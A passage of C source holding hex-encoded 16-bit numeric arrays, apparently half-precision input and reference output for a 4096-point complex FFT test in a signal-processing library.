0xb565, 0xbdd0, 0xbfae, 0xbc2d, 0xc0ac, 0xbe80, 0xb9dd, 0x2ffe,
0xc287, 0xba36, 0xc2b0, 0xb570, 0xba55, 0xc1fb, 0x4227, 0xc30d,
0x3d7f, 0xc34c, 0x416f, 0xba34, 0xbd41, 0xc137, 0x3a37, 0x391c,
0x3535, 0x42ac, 0x3df6, 0xbf1b, 0xbd4e, 0xb7fc, 0x3bc5, 0x412e,
0xc0c4, 0x3c5b, 0x3071, 0xbeb4, 0x4064, 0xc071, 0xc1cd, 0x3e41,
0x3cf6, 0xbd0f, 0x41ab, 0x43d2, 0xb463, 0x42f6, 0xc217, 0x3e0a,
0xb2a9, 0xbe4d, 0x41ba, 0xc4c2, 0xb821, 0xc4ff, 0x9c05, 0xbc3b,
0x3faf, 0xc2d3, 0xb8eb, 0xb476, 0xbb0d, 0x4633, 0x3a11, 0x2bbd,
0x40fc, 0xb146, 0x3ad6, 0x36cf, 0xc34e, 0x3bd8, 0x3b50, 0xc194,
0xbfb2, 0x4200, 0xbe40, 0x39c9, 0x3c55, 0x3d11, 0xbdb1, 0xbaaf,
0x445c, 0xbfb5, 0x2e7c, 0x3d3d, 0x388a, 0xc00f, 0x3ff0, 0x2cfa,
0xc00b, 0xbc72, 0x3c98, 0x383f, 0xbbe0, 0x38ea, 0xbd36, 0x3d0a,
0xb1ef, 0x3b47, 0x4424, 0x3bf6, 0xc055, 0x43d4, 0x38c5, 0xbe65,
0x396b, 0x384d, 0x40e8, 0xbec7, 0x44bd, 0xbc93, 0x38d1, 0xb292,
0xbabd, 0xbe28, 0x345a, 0x4106, 0x3d82, 0x3444, 0xb876, 0xb1da,
0xb41c, 0xc25f, 0xbfac, 0x3418, 0xbda8, 0xc16c, 0xbb2c, 0x402b,
0xc164, 0x3cad, 0x4168, 0xb8d7, 0xbb45, 0x2e5d, 0x3a84, 0xbeed,
0x371f, 0xc090, 0xc019, 0x3d39, 0x3c68, 0x3781, 0xb709, 0x3f4e,
0xc0ce, 0xbca5, 0xbc69, 0xbbab, 0x442b, 0x38e6, 0xbc49, 0xc097,
0xbbbc, 0x41c2, 0x4021, 0xc2bd, 0x4317, 0x3ca0, 0x3e64, 0x4195,
0xc146, 0x3e98, 0x3d30, 0x34c4, 0x307d, 0xbc08, 0xbe40, 0xb91b,
0xb297, 0xb8ad, 0x4066, 0x4096, 0xbd68, 0xb78e, 0x3de6, 0x3631,
0x4102, 0xba78, 0xc0dd, 0xbd81, 0xb4ad, 0xb7f0, 0x3d0b, 0x335c,
0x40af, 0xc021, 0x41fb, 0x3da5, 0xba77, 0x3b55, 0xb521, 0x3129,
0x2fbe, 0x3b6f, 0xb463, 0xb979, 0xb4db, 0xc271, 0x35ad, 0xbd38,
0x41bf, 0xc0ca, 0x4296, 0xc6c8, 0xc245, 0xbea0, 0xc0e1, 0x3803,
0xb406, 0x43b9, 0x36c8, 0x38ac, 0x3c6d, 0x38c1, 0x3167, 0xc4da,
0xbdc2, 0x3f9b, 0x41fe, 0x3f33, 0xb8e6, 0x3d54, 0xbfc1, 0x3e7c,
0xbcbf, 0x3d67, 0x2cf0, 0xb49e, 0x37d3, 0xbdbe, 0x3955, 0x3a5e,
0xc019, 0xbffc, 0xc45d, 0x401c, 0xc41e, 0xc2c5, 0xc38f, 0x417e,
0x4399, 0x37e9, 0x3d0a, 0xc1a1, 0x34c9, 0x32d7, 0x44db, 0x4418,
0xc3a5, 0xbc70, 0x40e5, 0x3f17, 0x40a4, 0x3d79, 0x4048, 0xbb5d,
0xbdd6, 0x429c, 0x3f9f, 0x3927, 0x4152, 0xb3f2, 0x3c88, 0xc224,
0xc16f, 0x4443, 0x3fb6, 0xac06, 0xbd90, 0x3fa3, 0xbfb0, 0xc110,
0x4068, 0x42c5, 0xc104, 0xbf47, 0x4336, 0x3cc5, 0xb47e, 0x39d0,
0x360b, 0x30e2, 0xbb4d, 0x40fe, 0xbc81, 0xbdec, 0x3df9, 0xc3b0,
0xb9db, 0x3da8, 0xbf10, 0xc472, 0xc263, 0x3d0c, 0xc448, 0x3d9f,
0x426e, 0x3f8e, 0xc4ff, 0x4035, 0xbd87, 0x3977, 0xb7e6, 0xc494,
0xc16c, 0x3e6f, 0x400c, 0xc326, 0x367d, 0xc42e, 0xb7d9, 0x3da4,
0x3bb3, 0xb98e, 0xbd85, 0xbabd, 0x3e85, 0xbc2e, 0xc412, 0x3b55,
0xbe84, 0xc586, 0xbe1f, 0xc091, 0x45fe, 0xc1e8, 0x4488, 0xb8cc,
0x37f7, 0x39a2, 0xbeac, 0x32d7, 0x4514, 0x30e6, 0x40f5, 0x3af8,
0xb9a4, 0xc054, 0xbf58, 0x3d38, 0x4328, 0x441f, 0x408a, 0x38b8,
0x3cc9, 0x41aa, 0xc1b5, 0xc703, 0x383d, 0x38ea, 0xbca1, 0xb79b,
0xbf65, 0x3bb7, 0xc064, 0xc4a1, 0xc31c, 0x35e2, 0x3520, 0x400c,
0x42a7, 0x3158, 0xc2a9, 0x446f, 0x3d62, 0xba14, 0x3c58, 0xbda4,
0xb4b1, 0x3e56, 0xbe8e, 0x40f7, 0x3a2f, 0x3ba9, 0x3d32, 0xb8b5,
0xbe22, 0x4048, 0xbca6, 0x340e, 0xb5f3, 0x365c, 0xc1b5, 0x3d0d,
0xc107, 0xbae4, 0x34cf, 0x3dd5, 0x4003, 0xbe06, 0x44a6, 0xba2d,
0x2e4a, 0xb1da, 0x4446, 0xc243, 0x3d7c, 0x3af8, 0x3c2d, 0xbef6,
0x41c3, 0xbd7a, 0x3092, 0xbd5a, 0x3f5c, 0x423f, 0x41f1, 0x3839,
0xc0df, 0xbfaf, 0xc00a, 0xc1b7, 0xb409, 0xa6b1, 0xba96, 0x42b6,
0xc18c, 0xc152, 0xbc1a, 0xb09a, 0x4053, 0x3ef9, 0x428e, 0x3d0c,
0x3e33, 0xb833, 0x38b1, 0x2b0f, 0x3dc7, 0xbccc, 0xbb26, 0x3f25,
0xba85, 0xbd12, 0xc270, 0x4221, 0xb370, 0xbe62, 0x33e4, 0x3964,
0xb5b8, 0xb4f6, 0x3d1b, 0xb129, 0xc11a, 0xc633, 0x418d, 0xb84d,
0xbd79, 0x3a48, 0x3c8e, 0x2902, 0xbe05, 0xbde2, 0x4369, 0x40e3,
0xb1f3, 0xbeb0, 0xba8c, 0x3c9d, 0xc42a, 0x4240, 0x3c98, 0x36ea,
0x3a2a, 0xb8c5, 0xc5a5, 0x4085, 0xae58, 0x2c1a, 0x3127, 0xc07b,
0x3b9a, 0x3d50, 0x3ee0, 0x40f0, 0xbe9b, 0x3cdd, 0xc40d, 0xb560,
0xc363, 0xb52e, 0x3e4d, 0xb59e, 0x40c5, 0xc180, 0x4184, 0x40ec,
0xc164, 0x3e6d, 0x3ece, 0x354f, 0x469a, 0xc004, 0x4252, 0x4336,
0x3c99, 0x3427, 0x448f, 0x3ccf, 0xc22a, 0x4148, 0xb316, 0x40b3,
0xb815, 0xc045, 0xc46d, 0xb41a, 0x44a7, 0x44e5, 0xbcbd, 0xbc99,
0x3ae9, 0xc1b8, 0xb84a, 0x4189, 0x3e08, 0x3919, 0x3566, 0x3dcd,
0x3c39, 0x3fab, 0x3ea7, 0xb88b, 0x3c22, 0x3bc2, 0x43ab, 0xb090,
0xc1c3, 0xb4ba, 0xc187, 0xc481, 0x4649, 0xbd45, 0x3c15, 0x3c7d,
0x3b42, 0xbdf9, 0x4144, 0xb9d5, 0xac78, 0x4152, 0x3e4d, 0xc15d,
0xbd6f, 0xb3b6, 0x3d12, 0x3a93, 0x4150, 0x3b04, 0xbc1a, 0x2bef,
0x38a3, 0xc040, 0x4395, 0x4031, 0xbd15, 0xc02d, 0x3c8c, 0x410b,
0xaf89, 0x3103, 0x4116, 0x35c9, 0x406f, 0x3c67, 0x41d7, 0xc0c6,
0x3d30, 0xbd69, 0xbbfc, 0x4006, 0xbfb8, 0xc16c, 0x3acf, 0x4120,
0x3e58, 0x44a1, 0xbcf9, 0x45a2, 0xc004, 0x3da3, 0xb03e, 0xb83f,
0xbe1a, 0xb30b, 0xc22b, 0xc124, 0x427e, 0x3c23, 0x3b3b, 0xbc9a,
0x3eaa, 0x257e, 0xc2fa, 0xbfa9, 0xc0a5, 0x420f, 0x38b0, 0x3819,
0x43c5, 0x2e38, 0x3ca1, 0x4461, 0x386d, 0xbd79, 0x4131, 0xbcef,
0xc2ae, 0xba73, 0xbe16, 0xbdd8, 0x4120, 0x3461, 0x41b2, 0xc17e,
0x42db, 0x3012, 0xc138, 0x123f, 0xb95d, 0x42db, 0xbe4c, 0xb660,
0x3ec1, 0x4433, 0x32ba, 0x4294, 0xbb02, 0xc0df, 0xb0d5, 0x39ee,
0x40b4, 0xb7c8, 0xc2f2, 0xb816, 0x3b6a, 0x3b1c, 0x354c, 0xc555,
0x39cb, 0x3828, 0x40a0, 0xbf1e, 0x4083, 0x3e4c, 0x3eb0, 0x3030,
0xc4a6, 0xc344, 0x42cd, 0xb64f, 0x3c57, 0x3a06, 0xc471, 0x326c,
0x406f, 0x3d59, 0xc3d7, 0x3c20, 0xc04a, 0xaf4f, 0xc069, 0x340d,
0x41e4, 0x4132, 0x3c95, 0xba04, 0xb5f5, 0x400b, 0x3708, 0x40dc,
0xb718, 0x3f0d, 0xb4da, 0xb86f, 0xbee5, 0xb446, 0xc381, 0xad1c,
0xbf2b, 0xc034, 0x41b3, 0xbb1f, 0xbf25, 0x3125, 0xb99d, 0xb94b,
0xb676, 0x44e1, 0x3589, 0xbb40, 0xb63c, 0x3e73, 0x3efb, 0x3d0a,
0x442e, 0xb7d3, 0xbe0a, 0x3a46, 0x457a, 0xbd9e, 0x3c31, 0xc1db,
0x3c83, 0x4087, 0xb91b, 0xbcd4, 0x400e, 0xb643, 0x4451, 0x40fc,
0xc027, 0x3a58, 0xb088, 0xc49c, 0x3f90, 0xc1ae, 0x41aa, 0x3c0c,
0x42fe, 0x4206, 0xbe4f, 0x3e4e, 0x3620, 0xbf72, 0xbe56, 0xc497,
0xc272, 0xbed9, 0xc408, 0xc55f, 0x299e, 0xc33f, 0xc121, 0x40d3,
0x3356, 0xb905, 0x446d, 0x3fcf, 0xb312, 0xb826, 0xb7bd, 0x4100,
0x376c, 0xb43a, 0xc36f, 0xc0c5, 0xc2d7, 0x390f, 0x40d8, 0xc0a0,
0xc22e, 0x3d66, 0x4420, 0x455c, 0xafaa, 0x3a1f, 0x44f3, 0xbb2a,
0x4209, 0xbdd4, 0x40d2, 0xc0da, 0x36a3, 0xbc0f, 0xc4fa, 0xbb31,
0x3dca, 0xb7cb, 0x3e00, 0x3a50, 0xbd9e, 0x4006, 0x31c2, 0x38db,
0xbc0d, 0xbfb3, 0x23d1, 0x3b9e, 0x37d2, 0xbfce, 0x3878, 0xb8ff,
0xbe61, 0xc237, 0x447f, 0xc1c6, 0xbc2b, 0xc60d, 0xbcb6, 0x3ab2,
0x3c5d, 0xc18e, 0xc134, 0xb58e, 0xbc61, 0x3b62, 0x3963, 0x3951,
0xbc3d, 0xc059, 0xc03c, 0x4148, 0x41c9, 0xc26d, 0xb7ba, 0xa1c3,
0xc1c6, 0x438d, 0x3a2f, 0xc40e, 0xbfe1, 0xb88e, 0x4089, 0x3f65,
0x41ee, 0xc03b, 0x3d00, 0xc0b2, 0x3d9b, 0x3fe4, 0xc396, 0xb506,
0x4337, 0xaafb, 0xc363, 0x412c, 0x3c24, 0xc483, 0xb9a5, 0xc122,
0xbc7b, 0xbd59, 0x2c51, 0x433e, 0x3db4, 0xbec7, 0x4033, 0xb7d9,
0xb8d1, 0xb588, 0xb44f, 0xb7ce, 0x3103, 0xb327, 0x3a84, 0x3c48,
0xc207, 0xb056, 0x3c8b, 0xba2e, 0xb429, 0xba75, 0xb609, 0x3989,
0x31a8, 0xc09d, 0xb9ce, 0x3be9, 0x3df7, 0x3eef, 0xbee7, 0xc1d6,
0xbd82, 0x3b03, 0x3c21, 0x422f, 0x9bf8, 0x4307, 0xbef1, 0x42c7,
0xb833, 0xbf66, 0x3d49, 0x4197, 0xbf10, 0x4490, 0xb886, 0xbe95,
0xbb28, 0x3a71, 0x437f, 0x4003, 0x3eb6, 0x3b0e, 0xc486, 0x3e17,
0x3921, 0xbbb5, 0x3c8b, 0x42ed, 0xc0f6, 0x3f82, 0x402c, 0xba14,
0xbbd5, 0x4156, 0xb6f4, 0x3c1e, 0xbe9b, 0xc10d, 0x41be, 0xc598,
0x3889, 0x405e, 0xb5f7, 0xc126, 0x3ec6, 0xbc3e, 0x439a, 0x3ebb,
0xbcfd, 0x35bb, 0x37be, 0xc0a9, 0xc4b6, 0x3d6b, 0xc683, 0xbf40,
0x3698, 0x43e5, 0x3b10, 0x395a, 0x3ed3, 0x36ac, 0xc0ba, 0xc027,
0xc491, 0x40ac, 0x3e64, 0x43ba, 0xbe24, 0xc015, 0x24a0, 0xc33d,
0xc1fa, 0xc250, 0xc11c, 0xc293, 0xc4ab, 0xc2d7, 0xc04b, 0x3f27,
0x40c0, 0xbb59, 0xc1ce, 0x3c6f, 0x40f6, 0xbdef, 0x42df, 0x3fee,
0xb663, 0x659a, 0x4154, 0x415d, 0x3a4e, 0x3c95, 0xb516, 0xbd29,
0x3f55, 0xbf77, 0xbf69, 0xbffa, 0x422b, 0xc089, 0xc366, 0xb811,
0x4317, 0x3eb7, 0x3a9d, 0xb41c, 0x4407, 0x432e, 0x2f2e, 0xa96a,
0xbde5, 0xbc8b, 0xc16f, 0x415c, 0xc39f, 0x41bc, 0xc1e5, 0xbc5f,
0x4301, 0xbeec, 0x3f51, 0xc0a8, 0xc064, 0x4525, 0x425d, 0x3acd,
0x34fc, 0x3ab3, 0x30bb, 0xb5df, 0xbe8f, 0x3e1c, 0xc2ed, 0x423a,
0xbd12, 0x4117, 0x4331, 0xc221, 0xaaee, 0x415b, 0xbe34, 0xc1d9,
0x44ca, 0x3c84, 0xc186, 0x3899, 0x44ec, 0xc508, 0x3cea, 0xb2d3,
0xbc8e, 0x2628, 0x3d67, 0xc142, 0xbaa4, 0x2de5, 0x3745, 0x3b87,
0x44c6, 0xc427, 0x3962, 0xb51a, 0x426e, 0xbcd3, 0x3845, 0xc2c0,
0x420d, 0xc10e, 0xc162, 0xb626, 0xb29d, 0x3c5a, 0xc036, 0x3e9a,
0xc2f9, 0xb855, 0xc14d, 0x38e9, 0xb476, 0x36a9, 0x35c9, 0xc49c,
0x378e, 0xb741, 0x386b, 0xbe52, 0x39b8, 0xbd52, 0xbd4e, 0x40b1,
0x3e1b, 0x42a5, 0x4229, 0xc6a7, 0xc463, 0x4270, 0xb145, 0x395d,
0xc0c7, 0xc612, 0x4050, 0xc10f, 0xb7cd, 0x2f49, 0xb565, 0xb926,
0x36f5, 0xb7ed, 0xc3dc, 0x4332, 0xc261, 0x4316, 0x307b, 0xbca7,
0x3c7b, 0xb849, 0xbac9, 0xb4a8, 0xb893, 0xbb50, 0xb7f0, 0xb873,
0xc0f4, 0xc180, 0x4155, 0xb1b3, 0x382a, 0x43e7, 0x4064, 0x3638,
0xc23d, 0xbc33, 0xbc2f, 0x1eb9, 0xba24, 0xc173, 0xbc4e, 0xbd6f,
0xb867, 0xbd48, 0x3cd8, 0xc117, 0x37c3, 0x39de, 0x2fb4, 0xbc4f,
0x3bf4, 0x3e58, 0xbdf2, 0xc502, 0xc0e2, 0x4072, 0x1f18, 0x443b,
0xc0b7, 0x443e, 0x43a7, 0xbe6d, 0x1f31, 0xba92, 0x42f9, 0xbd72,
0x4214, 0x3c23, 0x3ea3, 0xb8a7, 0x3b52, 0xbe21, 0x4416, 0x3c96,
0xbd5a, 0xbde8, 0x3fc1, 0x4063, 0xb8cf, 0x39a7, 0x3f06, 0x3b95,
0xc32c, 0x2f3b, 0xbfc5, 0xb580, 0x4283, 0xaa2f, 0xbc4a, 0x431c,
0xbd60, 0xbecb, 0xc043, 0x3f82, 0xb823, 0x4484, 0xc1c5, 0x3d3d,
0x4174, 0xbd01, 0x3d28, 0xbc17, 0xc01f, 0xbcf7, 0x3a36, 0xa346,
0x30da, 0x4212, 0x41ed, 0x3166, 0xc566, 0xbf85, 0xbd41, 0x3db7,
0xbacc, 0x37a8, 0xbff8, 0x36b0, 0xc0f5, 0xc1ae, 0x3c52, 0x4016,
0xbcf8, 0xc2fe, 0x3d13, 0x37fd, 0xb8d0, 0xc16e, 0x3f11, 0x451e,
0x405e, 0x4563, 0x412b, 0x3e8c, 0xc459, 0x4271, 0xbbbb, 0xc4f5,
0xb7a5, 0xc3dd, 0xaba7, 0x3f4a, 0x441e, 0xc0a4, 0xc102, 0x32e9,
0x42ca, 0xbac8, 0xadb4, 0xbd2d, 0xbe49, 0xc053, 0xc005, 0xbcec,
0xc6e0, 0x162f, 0xc088, 0xc1d1, 0xc3c4, 0x4063, 0x3b22, 0xbd5c,
0x40d8, 0xb40d, 0xbb3f, 0xc174, 0xb382, 0xbd55, 0x2cdf, 0xb9fc,
0xb722, 0x1fe0, 0x2d05, 0x3f82, 0x386d, 0xc408, 0x3f21, 0xbf0c,
0x3759, 0x3154, 0xc2fe, 0x3acd, 0x3ff3, 0x3c03, 0x342e, 0x3c8c,
0x37c8, 0xc25e, 0xc138, 0x3dd3, 0x4214, 0x4287, 0x359c, 0xc0f9,
0xbe7c, 0x4107, 0x40ef, 0x3b7a, 0xc4de, 0xb8b2, 0x3ec0, 0xb9f8,
0xb5a9, 0xbd09, 0xbe88, 0x2ddf, 0xc477, 0x3f88, 0x3a0a, 0x417a,
0xbe82, 0x3b3f, 0x3c44, 0xbb5e, 0x3e2d, 0xbdcc, 0xc3f4, 0xb4f3,
0xc35e, 0x3cde, 0x424c, 0x40e8, 0x30d4, 0xb5fb, 0xbe5e, 0xbfa2,
0xc515, 0xb371, 0x42ef, 0xb8a7, 0x3da2, 0x3e6f, 0xbe80, 0x38c5,
0xc189, 0x249c, 0x4572, 0xc575, 0x3117, 0x4164, 0x464c, 0xc01a,
0xa3d5, 0x3cd9, 0x3bcb, 0xbc30, 0x3896, 0x45aa, 0x439e, 0x410d,
0xbdad, 0xb29e, 0xbdeb, 0x3bc9, 0xbeea, 0x414f, 0x425a, 0x3e50,
0xb96f, 0xb51a, 0x3e06, 0x425e, 0x2ed9, 0xb8bb, 0x4038, 0xbdb4,
0xbed5, 0x420b, 0x419e, 0xb35b, 0x426f, 0x34c3, 0x39ea, 0x4261,
0xb02f, 0xc1cf, 0x40ba, 0x2c3d, 0xbc94, 0xbbdd, 0x417f, 0xc440,
0xbc6c, 0xc575, 0x3d20, 0xc475, 0xc085, 0x429e, 0x32ec, 0xbdbb,
0x23ab, 0xc11e, 0x440d, 0x3bb6, 0x3e0e, 0xbf55, 0x4465, 0x28c5,
0x4328, 0xbafc, 0xb933, 0x447b, 0xc46a, 0x4542, 0xbe3f, 0x3d11,
0x434d, 0x42fd, 0xba1f, 0xb833, 0xb9b1, 0x42ce, 0x4266, 0x3f8f,
0x401b, 0x401f, 0x2ca1, 0x4050, 0x3465, 0xbe4d, 0x40e4, 0x42a0,
0x3b6a, 0xbcbc, 0x35ed, 0x41d0, 0x3812, 0x40bf, 0x3ccc, 0x3ca4,
0xc47b, 0xc1ac, 0x41a5, 0xbb0c, 0x3ce4, 0xc465, 0x3b6c, 0x38d0,
0x3abf, 0xbfd4, 0x3cd6, 0xc0df, 0x3fe5, 0xaef7, 0x40ef, 0x394b,
0xc440, 0x3808, 0x3946, 0x3ee0, 0xc401, 0xbe93, 0x4644, 0x425a,
0xc0e8, 0x34c8, 0xc04f, 0x39b1, 0xbf5f, 0xc52d, 0x3d90, 0x4006,
0xb93d, 0xc0f0, 0xc07a, 0x386c, 0xbb4d, 0xc4c8, 0x411f, 0xbefa,
0x40db, 0x3bbd, 0x3a24, 0xbe5e, 0xbbd8, 0xbb0b, 0xbd63, 0xbc89,
0xb9e2, 0x413e, 0xc38b, 0x4194, 0xbeb2, 0x3063, 0x407c, 0x35d0,
0x3aad, 0xaf85, 0x35e4, 0x41be, 0xc25e, 0xc1a1, 0x34f3, 0x2925,
0xc00f, 0xc0f0, 0x3f20, 0x3a90, 0x3e73, 0x366b, 0xbe6c, 0x3e5f,
0xbc72, 0x4090, 0x412e, 0xb6d7, 0x3ebc, 0x3c42, 0x43ac, 0x3d1b,
0x3d3b, 0xc08c, 0xb822, 0xbb75, 0xb920, 0x3ec8, 0xb5dc, 0x3dc9,
0x3125, 0xbe4e, 0x3787, 0xc30c, 0x40fc, 0xb4e2, 0x35cb, 0xb3ec,
0x418d, 0xb51e, 0xc05a, 0xc5b1, 0x3f9f, 0x437c, 0xb2aa, 0x44de,
0xba29, 0x3e4b, 0x3641, 0xc2aa, 0x372b, 0xb8f9, 0xb600, 0xc112,
0x4007, 0x3216, 0xb92e, 0x4023, 0x45cf, 0x3c37, 0xc188, 0x3f6f,
0xc1b2, 0xb91f, 0x404b, 0xb89a, 0x3c24, 0xc240, 0x4478, 0x38e8,
0x38ce, 0x35b7, 0xba96, 0xc223, 0xb9bc, 0x4046, 0x3c5e, 0x3caa,
0xbb09, 0xc16a, 0xc044, 0x46af, 0x34e7, 0xb938, 0x4034, 0x3d13,
0x403e, 0x4440, 0x4271, 0xac1e, 0xc09a, 0xbd45, 0xc098, 0xc40c,
0xc178, 0x41a0, 0x3fc2, 0xc05d, 0xba82, 0xba1a, 0x4174, 0x3b1e,
0x3d8a, 0x342c, 0xbe3e, 0x3806, 0xc25f, 0x424b, 0xb51b, 0x3fbd,
0x4596, 0x427f, 0xbf71, 0x3d82, 0x3fa4, 0x3086, 0xbb98, 0x3f0e,
0xc12e, 0xc14e, 0xc1c0, 0xbe66, 0xbc2d, 0x3c68, 0x4163, 0xc0e2,
0x3fba, 0xbd4e, 0x3e8e, 0x4258, 0xc11c, 0xc116, 0x4187, 0xbdc3,
0x41e8, 0x4118, 0xbfa4, 0xb59b, 0xbcf8, 0xbde3, 0xc0b2, 0x40bd,
0x3f73, 0x4330, 0xc088, 0x3cbe, 0xaca3, 0x3df7, 0xc211, 0x40f1,
0x4080, 0xbfaa, 0xbe37, 0x425f, 0x40e8, 0xbd0d, 0x41f3, 0xbce0,
0x3ee7, 0x407c, 0xbbe2, 0xc438, 0x3d6c, 0x3d67, 0x40c9, 0xb843,
0xba5c, 0x3e08, 0xc18b, 0xc356, 0xc25d, 0x3ef5, 0x3627, 0x4361,
0xc0cc, 0xb0ff, 0x3ca4, 0x40d0, 0xb564, 0xb967, 0x3fd8, 0x47ba,
0xbc1c, 0xbbab, 0xbf8d, 0x4028, 0x458f, 0xb765, 0x4072, 0x3420,
0x4304, 0x2e1d, 0x3067, 0xabca, 0xbf60, 0xc184, 0xc2ac, 0x44bc,
0xb54b, 0x37b4, 0x3d50, 0x3966, 0x4108, 0x3004, 0xbc32, 0x3783,
0x40fe, 0x4315, 0x3f43, 0x4174, 0x4466, 0xc2d2, 0x40c1, 0x3a58,
0xaa53, 0xc208, 0x36af, 0xc1a9, 0x3eb9, 0x3d8e, 0xbc43, 0x2d53,
0x3e0c, 0xba02, 0xc1e5, 0xc191, 0xc664, 0x3caa, 0xbdc7, 0x401e,
0xb8e1, 0xb9ac, 0x36f3, 0xc34d, 0xc029, 0xbe97, 0x3440, 0xc221,
0xc403, 0x420e, 0x3233, 0x417f, 0x42ce, 0x3d7e, 0x3373, 0x3f13,
0x3c3b, 0xc4ec, 0x34c6, 0x339e, 0x3836, 0xb92e, 0x3d6d, 0x3380,
0xbc64, 0xc33e, 0xb08f, 0x2bb7, 0xc008, 0xc34d, 0x36c9, 0x3909,
0xbf9f, 0xbd8f, 0xbc3b, 0x3f30, 0xc5fb, 0xbe04, 0xbf11, 0x36c2,
0x38dc, 0xc4bd, 0xb84c, 0x35d5, 0x4001, 0x3ed1, 0x410a, 0x3fef,
0xc484, 0xc002, 0xbcfa, 0xa82f, 0xb2d2, 0x4571, 0x3ea6, 0xc0ee,
0x3ff8, 0xc4f0, 0xbb62, 0x381b, 0x404a, 0xb303, 0x459b, 0x426d,
0xc10b, 0xba35, 0xc085, 0xc567, 0x3ecd, 0x2ff6, 0xbf8c, 0x4241,
0x3ae8, 0x3a0a, 0x3dca, 0xb792, 0xbdc6, 0x3b66, 0x40b8, 0x3acf,
0x427a, 0x3972, 0xc0eb, 0x4458, 0x4018, 0x22ce, 0x3ac0, 0xba5a,
0x4128, 0x38e2, 0x3783, 0xb1a6, 0x3c18, 0x4177, 0x3a84, 0x3a2b,
0xbabc, 0xbf4f, 0x3c74, 0xc43d, 0x3889, 0x384c, 0x4004, 0x2abb,
0xc57d, 0xb60a, 0xc1cc, 0x3563, 0x3f1c, 0xb916, 0xb8c3, 0xc364,
0x3a6c, 0x411e, 0x382f, 0xb4ec, 0x3cb3, 0xbd31, 0x4147, 0xc032,
0xc43b, 0x3ced, 0xc351, 0x4549, 0xc3f1, 0xc011, 0x41e7, 0x3e81,
0xb877, 0x41a5, 0x3894, 0x4473, 0xc03f, 0x30dc, 0xbce8, 0xc07e,
0x40ca, 0x3d34, 0x3a8d, 0xbddc, 0x4427, 0x442f, 0x3ad4, 0x3afe,
0x3f11, 0x3dfb, 0x412f, 0xba59, 0x44b8, 0xbe1e, 0xc394, 0x38d8,
0x419b, 0xc470, 0x3c3a, 0xb8e1, 0xbf95, 0x3e45, 0x408f, 0xc147,
0xbb8f, 0xc414, 0x3c8f, 0x40d4, 0xb7d9, 0xb20d, 0x429a, 0xc052,
0xc26d, 0x4271, 0x3f89, 0x4197, 0xbcd9, 0xc3e0, 0x26ef, 0xbc29,
0x3d32, 0xaf72, 0x3ba9, 0x3a31, 0x3476, 0x2bb7, 0x3d6c, 0xb95e,
0x3ebe, 0xb9ed, 0xb912, 0x4085, 0xbcd6, 0xbdf1, 0xb941, 0x421c,
0xbe88, 0xb30c, 0x39b9, 0xb869, 0x3ddf, 0xa650, 0xc31b, 0xbcad,
0x4116, 0xbe2b, 0x43a3, 0x3ee9, 0xbd76, 0x3b55, 0x32c0, 0xc50a,
0xbbd0, 0x4244, 0xa66b, 0x3df1, 0x433e, 0x40fd, 0xc25c, 0x461b,
0xc5da, 0x40d3, 0x3db9, 0x43ee, 0x3f67, 0xc2f7, 0x3ae0, 0x44ab,
0xc090, 0xbe33, 0xa020, 0xbc68, 0x3cf8, 0xbf8a, 0x3de2, 0x4050,
0xc1b8, 0x3297, 0xbd62, 0x417b, 0xb8e1, 0xb8f1, 0x3ce0, 0xc24e,
0x2631, 0xc100, 0xc5b2, 0xc56b, 0xbc72, 0xc4b5, 0x4251, 0x443c,
0xbd45, 0xc08c, 0xb8c3, 0x43ed, 0xbfbd, 0x3a76, 0xbac9, 0x4083,
0x4266, 0x32c6, 0xb403, 0xc09d, 0x409a, 0xb15d, 0x35bb, 0x4197,
0xbf29, 0xc525, 0x3ca5, 0xb6db, 0xbd03, 0xc3e6, 0x3890, 0xb8cb,
0x3fb9, 0xb9f4, 0x3b59, 0x3de6, 0xc43f, 0xc07f, 0xbd3d, 0x41c9,
0x42fc, 0x351f, 0xbf43, 0xacf3, 0x2e72, 0xc333, 0xb980, 0xbbe4,
0xc2c4, 0xc2e4, 0x3f1f, 0xc0d1, 0x3f26, 0xc329, 0x4119, 0x464c
};
static const uint16_t ref_cfft_noisy_4096[8192] = {
0x441e, 0x0, 0x4119, 0xc64c, 0x3f26, 0x4329, 0x3f1f, 0x40d1,
0xc2c4, 0x42e4, 0xb980, 0x3be4, 0x2e72, 0x4333, 0xbf43, 0x2cf3,
0x42fc, 0xb51f, 0xbd3d, 0xc1c9, 0xc43f, 0x407f, 0x3b59, 0xbde6,
0x3fb9, 0x39f4, 0x3890, 0x38cb, 0xbd03, 0x43e6, 0x3ca5, 0x36db,
0xbf29, 0x4525, 0x35bb, 0xc197, 0x409a, 0x315d, 0xb403, 0x409d,
0x4266, 0xb2c6, 0xbac9, 0xc083, 0xbfbd, 0xba76, 0xb8c3, 0xc3ed,
0xbd45, 0x408c, 0x4251, 0xc43c, 0xbc72, 0x44b5, 0xc5b2, 0x456b,
0x2631, 0x4100, 0x3ce0, 0x424e, 0xb8e1, 0x38f1, 0xbd62, 0xc17b,
0xc1b8, 0xb297, 0x3de2, 0xc050, 0x3cf8, 0x3f8a, 0xa020, 0x3c68,
0xc090, 0x3e33, 0x3ae0, 0xc4ab, 0x3f67, 0x42f7, 0x3db9, 0xc3ee,
0xc5da, 0xc0d3, 0xc25c, 0xc61b, 0x433e, 0xc0fd, 0xa66b, 0xbdf1,
0xbbd0, 0xc244, 0x32c0, 0x450a, 0xbd76, 0xbb55, 0x43a3, 0xbee9,
0x4116, 0x3e2b, 0xc31b, 0x3cad, 0x3ddf, 0x2650, 0x39b9, 0x3869,
0xbe88, 0x330c, 0xb941, 0xc21c, 0xbcd6, 0x3df1, 0xb912, 0xc085,
0x3ebe, 0x39ed, 0x3d6c, 0x395e, 0x3476, 0xabb7, 0x3ba9, 0xba31,
0x3d32, 0x2f72, 0x26ef, 0x3c29, 0xbcd9, 0x43e0, 0x3f89, 0xc197,
0xc26d, 0xc271, 0x429a, 0x4052, 0xb7d9, 0x320d, 0x3c8f, 0xc0d4,
0xbb8f, 0x4414, 0x408f, 0x4147, 0xbf95, 0xbe45, 0x3c3a, 0x38e1,
0x419b, 0x4470, 0xc394, 0xb8d8, 0x44b8, 0x3e1e, 0x412f, 0x3a59,
0x3f11, 0xbdfb, 0x3ad4, 0xbafe, 0x4427, 0xc42f, 0x3a8d, 0x3ddc,
0x40ca, 0xbd34, 0xbce8, 0x407e, 0xc03f, 0xb0dc, 0x3894, 0xc473,
0xb877, 0xc1a5, 0x41e7, 0xbe81, 0xc3f1, 0x4011, 0xc351, 0xc549,
